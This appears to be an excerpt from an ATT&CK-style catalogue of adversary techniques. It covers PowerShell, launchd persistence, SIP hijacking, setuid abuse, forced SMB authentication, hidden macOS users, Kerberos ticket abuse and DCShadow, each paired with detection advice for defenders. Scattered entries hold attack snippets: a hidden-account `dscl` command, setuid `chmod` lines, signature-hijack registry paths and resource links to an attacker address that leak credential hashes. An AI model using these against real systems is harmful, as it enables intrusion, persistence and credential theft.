PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
Administrator permissions are required to use PowerShell to connect to remote systems.
A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)
Detection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Platforms: Windows
Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator
Remote Support: Yes
Security Software Discovery - T1063
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.
===Windows===
Example commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.
===Mac===
It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: macOS, Windows
Data Sources: File monitoring, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator, SYSTEM
Links |
Launchctl - T1152
Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.
Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
Detection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.
Platforms: macOS
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path
Permissions Required: User, Administrator
Remote Support: No
Links |
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
Exploitation for Client Execution - T1203
Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Several types exist:
===Browser-based Exploitation===
Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.
===Office Applications===
Common office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.
===Common Third-party Applications===
Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
Detection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
Platforms: Linux, Windows, macOS
Data Sources: Anti-virus, System calls, Process Monitoring
System Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.
Remote Support: Yes
Links |
Modify Existing Service - T1031
Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.
Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
Detection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns)
Service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>.
Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.
Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows
Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring
Permissions Required: Administrator, SYSTEM
Contributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward
Links |
Standard Cryptographic Protocol - T1032
Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.
Some adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.
Detection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)
If malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)
In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection
Requires Network: Yes
SIP and Trust Provider Hijacking - T1198
In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). *'''Note:''' The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
Detection: Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)
Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)
Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust * '''Note:''' As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using Regsvr32. (Citation: SpectorOps Subverting Trust Sept 2017)
Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)
Platforms: Windows
Data Sources: API monitoring, Application Logs, DLL monitoring, Loaded DLLs, Process Monitoring, Windows Registry, Windows event logs
Defense Bypassed: Application whitelisting, Autoruns Analysis, Digital Certificate Validation, Process whitelisting, User Mode Signature Validation
Permissions Required: Administrator, SYSTEM
Contributors: Matt Graeber, @mattifestation, SpecterOps
Setuid and Setgid - T1166
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.
An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.
Detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.
Platforms: Linux, macOS
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Effective Permissions: Administrator, root
Permissions Required: User
Links |
Forced Authentication - T1187
The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)
Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user’s system accesses the untrusted resource it will attempt authentication and send information including the user’s hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)
There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: *A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) *A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
Detection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.
Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)
Platforms: Windows
Data Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network
Permissions Required: User
Contributors: Teodor Cimpoesu, Sudhanshu Chauhan, @Sudhanshu_C
Valid Accounts - T1078
Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.
Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Adversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful.
The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
Detection: Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.
Platforms: Linux, macOS, Windows
Data Sources: Authentication logs, Process monitoring
Effective Permissions: User, Administrator
Defense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls
Permissions Required: User, Administrator
Links |
System Service Discovery - T1007
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows
Data Sources: Process command-line parameters, Process monitoring
Permissions Required: User, Administrator, SYSTEM
Links |
Supply Chain Compromise - T1195
Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of software update/distribution mechanisms * Compromised/infected system images (multiple cases of removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction
While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)
Detection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.
Platforms: Linux, Windows, macOS
Data Sources: Web proxy, File monitoring
Links |
Hidden Users - T1147
Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).
Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.
Platforms: macOS
Data Sources: Authentication logs, File monitoring
Permissions Required: Administrator, root
Links |
https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty |
System Owner/User Discovery - T1033
===Windows===
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.
===Mac===
On Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.
===Linux===
On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Permissions Required: User, Administrator
Links |
Multiband Communication - T1026
Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring
Requires Network: Yes
Links |
Pass the Ticket - T1097
Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
In this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)
Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)
Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)
Detection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)
Platforms: Windows
Data Sources: Authentication logs
System Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.
Contributors: Ryan Becwar, Vincent Le Toux
Links |
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos |
Windows Remote Management - T1028
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.
Platforms: Windows
Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator
System Requirements: WinRM listener turned on and configured on remote system
Remote Support: Yes
Links |
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 |
Launch Daemon - T1160
Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See’s Knock Knock application.
Platforms: macOS
Data Sources: Process Monitoring, File monitoring
Effective Permissions: root
Permissions Required: Administrator
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf |
Keychain - T1142
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.
Platforms: macOS
Data Sources: System calls, Process Monitoring
Permissions Required: Administrator
Links |
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
Audio Capture - T1123
An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
Platforms: Linux, macOS, Windows
Data Sources: API monitoring, Process monitoring, File monitoring
Permissions Required: User
Links |
Custom Cryptographic Protocol - T1024
Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.
Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.
Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)
Detection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)
In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring
Requires Network: Yes
Links |
https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf |
Graphical User Interface - T1061
Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.
Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions.
Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator, SYSTEM
Remote Support: Yes
Links |
DCShadow - T1207
DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.
Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)
This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)
Detection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)
Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)
Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)
